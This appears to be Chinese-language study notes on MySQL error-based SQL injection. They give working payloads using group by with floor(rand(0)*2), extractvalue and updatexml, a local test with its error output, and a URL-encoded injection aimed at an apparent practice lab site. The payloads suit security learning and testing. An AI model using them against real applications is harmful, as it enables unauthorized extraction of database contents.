SQL注入篇 報錯注入
第一類
group by 與 floor rand 函式的報錯
payload
(select count(*) from (select 1 union select 2 union select 3)x group by concat(1,floor(rand(0)*2)))
- 本地測試
測試語句
select 1 from yz where (select count(*) from (select 1 union select 2 union select 3)x group by concat(222,floor(rand(0)*2)));
顯示
Duplicata du champ '2221' pour la clef 'group_key'
在222處存在報錯顯示點,可利用此點進行報錯注入
payload 利用方法 必須使其成為關鍵語句即where的決定權在payload中
例如:
- where 1=1 and payload
- where 1=2 or payload
- where payload
payload
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin%27%20and%20(select%20count(*)%20from%20(select%201%20union%20select%202%20union%20select%203)x%20group %20by%20concat(1,floor(rand(0)*2)))%23
這就轉化成了普通的union select 注入
第二類
- extractvalue
payload
extractvalue(1,concat(0x5c,(select 1)))
extractvalue(1,concat(0x5c,(select 1),0x5c,1))
應用
- updatexml
payload
updatexml(1,concat(0x5c,(select 1)),0)
updatexml(1,concat(0x5c,(select 1),0x5c,1),0)
應用